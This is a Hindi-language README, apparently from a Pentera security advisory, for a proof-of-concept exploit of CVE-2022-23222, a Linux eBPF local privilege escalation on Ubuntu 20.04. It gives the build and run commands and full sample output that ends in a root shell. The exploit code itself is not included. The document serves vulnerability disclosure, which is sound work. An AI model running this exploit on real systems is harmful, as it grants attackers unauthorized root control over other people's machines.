
यह CVE 2022-23222 के लिए एक POC है, जो एक Local Privilege Escalation भेद्यता है। यह POC Ubuntu 20.04 और कर्नेल संस्करण 5.13.0-27-generic के लिए लिखा गया था, लेकिन अन्य कर्नेल संस्करण भी असुरक्षित हैं। एक्सप्लॉइट के विस्तृत विश्लेषण के लिए, कृपया हमारा लेख पढ़ें।
सुनिश्चित करें कि libbpf इंस्टॉल है क्योंकि यह एक्सप्लॉइट के लिए आवश्यक है।
POC को संकलित करने के लिए, निम्न कमांड चलाएँ:
make
एक्सप्लॉइट को निष्पादित करने के लिए, निम्न निष्पादन योग्य चलाएँ:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
इस एडवाइज़री में वर्णित कोड (“कोड”) “जैसा है” और “जैसा उपलब्ध है” आधार पर प्रदान किया गया है और इसमें बग, त्रुटियाँ और अन्य दोष हो सकते हैं। आपको सलाह दी जाती है कि महत्वपूर्ण डेटा को सुरक्षित रखें और सावधानी बरतें। इस कोड का उपयोग करके, आप सहमत हैं कि कोड के संबंध में किसी भी दावे के लिए Pentera की आपके प्रति कोई देनदारी नहीं होगी। Pentera किसी भी प्रत्यक्ष, अप्रत्यक्ष, आकस्मिक, दंडात्मक, अनुकरणीय, विशेष या परिणामी क्षति के लिए किसी भी दायित्व को अस्वीकार करता है, भले ही Pentera या उसके संबंधित पक्षों को ऐसी क्षति की संभावना के बारे में सूचित किया गया हो। Pentera कोड या इस एडवाइज़री को अपडेट करने का कोई कर्तव्य नहीं लेता है।